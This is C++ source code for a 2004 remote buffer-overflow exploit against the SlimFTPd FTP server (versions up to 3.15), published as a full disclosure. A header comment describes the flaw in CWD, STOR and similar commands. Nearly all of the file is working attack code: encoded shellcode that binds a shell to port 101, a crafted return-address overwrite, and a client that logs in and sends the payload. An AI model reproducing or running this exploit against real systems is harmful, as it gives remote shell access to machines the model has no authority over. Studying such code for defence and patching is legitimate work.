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- /*
-
-
-
- SlimFTPd <= 3.15, Remote Buffer Overflow Exploit v0.1.
- Bind a shellcode to the port 101.
-
- Full disclosure and exploit
- by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
- 10 november 2004
-
- Thanx to HDMoore and Metasploit.com for their kickass ASM work.
-
-
- ------------------
- WHAT IS SLIMFTPD
- ------------------
-
- Homepage - http://www.whitsoftdev.com/slimftpd/
-
- SlimFTPd is a fully standards-compliant FTP server implementation with an advanced
- virtual file system.It is extremely small, but don't let its file size deceive you:
- SlimFTPd packs a lot of bang for the kilobyte. It is written in pure Win32 C++ with
- no external dependencies and no messy installer. SlimFTPd is a fully multi-threaded
- application that runs as a system service on Windows 98/ME or Windows NT/2K/XP, and
- it comes with a tool to simplify its installation or uninstallation as a system service.
- Once the service is started, SlimFTPd runs quietly in the background.
- It reads its configuration from a config file in the same folder as the executable,
- and it outputs all activity to a log file in the same place.
- The virtual file system allows you to mount any local drive or path to any virtual
- path on the server. This allows you to have multiple local drives represented on the
- server's virtual file system or just different folders from the same drive.
- SlimFTPd allows you to set individual permissions for server paths.
- Open slimftpd.conf in your favorite text editor to set up SlimFTPd's configuration.
- The format of SlimFTPd's config file is similar to Apache Web Server's for those
- familiar with Apache.
-
-
- --------------
- VULNERABILITY
- --------------
-
- A simple buffer overflow when a large buffer is passed to different commands,
- CWD, STOR, MKD, STAT etc.., nothing more, the attacker need to be logged in,
- read the code for further instructions.
-
- ----
- FIX
- ----
-
- Actually none, the vendor is contacted, is warning users, and working on a fix.
-
- ----
- EXTRA
- ----
-
- Ok I'll try to explain what happen in this one with my crap english...
- As you can notice , I havent used as usual a CALL/JMP offset address from a DLL.
- Why ? Because if you debug, you will notice that we are able to overwrite
- only 3/4 bytes of EIP maximum due to a buffer length restriction in the ftp server (~500bytes).
- The 4th byte will always point to 00. But this 00 is enough helpful to fake there my
- magic ret ;p
- Ok once you understand what is this magic ret , I think that you understanded all there...
-
- ----
- BY
- ----
-
- class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
- who
- F.U.C.K
- K-OTik.com displaying the half part of codes they receive
- (also some other friends to me noticed it..., another ie:
- JPEG Exploits, 6 or 7 mirrors displayed, poor assh0les...)
-
-
- */
-
- #include "winsock2.h"
- #include "fstream.h"
-
-
- char scode[] = "\xEB"
- "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
- "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
- "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
- "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
- "\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
- "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
- "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
- "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
- "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
- "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
- "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
- "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
- "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
- "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
- "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
- "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
- "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
- "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
- "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
- "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
- "\x58\x68\x61\x63\x6B\x90";
-
- char cmd[]="CWD ";
- char call[]="\xb2\x06\x40"; // Magicret ;p
-
- #pragma comment(lib, "ws2_32")
-
-
- void usage(char* us);
- WSADATA wsadata;
- void ver();
-
- static char payload[5000];
-
- int main(int argc,char *argv[])
- {
- ver();
- if ((argc<5)||(argc>6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
- if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
- char *login=argv[2], *passwd=argv[3], data[10], recvbuf2[100], recvbuf[100], rootbuf[100], logbuf[100], logbuf2[100], pdbuf[100], pdbuf2[100];
- int ip=htonl(inet_addr(argv[4])), sz, a, sizeA, lgth, port;
- if (argc==6){port=atoi(argv[5]);}
- else port=21;
- char *os;
- if (atoi(argv[1]) == 1){os="Win2k based system";}
- if (atoi(argv[1]) == 1){os="Win2k based system";}
- if (atoi(argv[1]) == 2){os="WinXP based system";}
- if (atoi(argv[1]) == 2){os="WinXP based system";}
- SOCKET s;
- struct fd_set mask;
- struct timeval timeout;
- struct sockaddr_in server;
- s=socket(AF_INET,SOCK_STREAM,0);
- if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
- cout<<"[+] target: "<<os<<endl;
- server.sin_family=AF_INET;
- server.sin_addr.s_addr=htonl(ip);
- server.sin_port=htons(port);
- WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
- timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
- switch(select(s+1,NULL,&mask,NULL,&timeout))
- {
- case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
- case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
- default:
- if(FD_ISSET(s,&mask))
- {
- cout<<"[+] connected, login in process..."<<endl;
- Sleep(100);recv(s,recvbuf2,100,0);
- if (!strstr(recvbuf2,"220")){cout<<"[+] this is not an ftp server, quitting..."<<endl;return -1;}
- strcpy(logbuf,"USER ");strcpy(logbuf2,login);strcpy(pdbuf,"PASS ");strcpy(pdbuf2,passwd);strcpy(rootbuf,"STOU AUX");strcpy(data,"\r\n");
- if (send(s,logbuf,strlen(logbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
- if (send(s,logbuf2,strlen(logbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
- if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
- Sleep(1000);
- if (send(s,pdbuf,strlen(pdbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
- if (send(s,pdbuf2,strlen(pdbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
- if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
- Sleep(1000);
- if (recv(s,recvbuf,200,0)==SOCKET_ERROR){ cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
- if (strstr(recvbuf,"530")){ cout<<"[+] wrong login or passwd"<<endl;return -1;}
- cout<<"[+] login success!"<<endl;Sleep(1000);cout<<"[+] sending the exploit string"<<endl;
- if (atoi(argv[1]) == 1){lgth=500+1;}
- if (atoi(argv[1]) == 2){lgth=498+1;}
- sizeA=lgth-sizeof(scode);
- sz=(sizeA-1)+sizeof(scode)+10;
- memset(payload,0,sizeof(payload));
- strcat(payload,cmd);strcat(payload,"\x41\x41\x41");
- strcat(payload,scode);
- for (a=0;a<sizeA;a++){strcat(payload,"\x41");}
- strcat(payload,call);
- strcat(payload,"\r\n");
- Sleep(1000);
- if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
- if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
- Sleep(1000);
- cout<<"[+] size of payload: "<<sz<<endl;
- cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
- return 0;
- }
- }
- closesocket(s);
- WSACleanup();
- return 0;
- }
-
- void usage(char* us)
- {
- cout<<"USAGE: 101_slim.exe Target Login Pass Ip Port\n"<<endl;
- cout<<"TARGETS: "<<endl;
- cout<<" [+] 1. Win2k SP4 English Pro (*)"<<endl;
- cout<<" [+] 1. Win2k SP4 English Server (*)"<<endl;
- cout<<" [+] 1. Win2k all others "<<endl;
- cout<<" [+] 2. WinXP SP1 English Pro (*)"<<endl;
- cout<<" [+] 2. WinXP SP1 French Pro (*)"<<endl;
- cout<<" [+] 2. WinXP all others "<<endl;
- cout<<"NOTE: "<<endl;
- cout<<" The port 21 is default if no port are specified"<<endl;
- cout<<" The exploit bind a shellcode to the port 101"<<endl;
- cout<<" A wildcard (*) mean Tested."<<endl;
- return;
- }
- void ver()
- {
- cout<<endl;
- cout<<" "<<endl;
- cout<<" ===================================================[v0.1]===="<<endl;
- cout<<" ========SlimFTPd, Tiny FTP Server for Windows <= v3.15======="<<endl;
- cout<<" =============Remote Buffer Overflow Exploit=================="<<endl;
- cout<<" ====coded by class101===========[DFind.kd-team.com 2004]====="<<endl;
- cout<<" ============================================================="<<endl;
- cout<<" "<<endl;
- }
-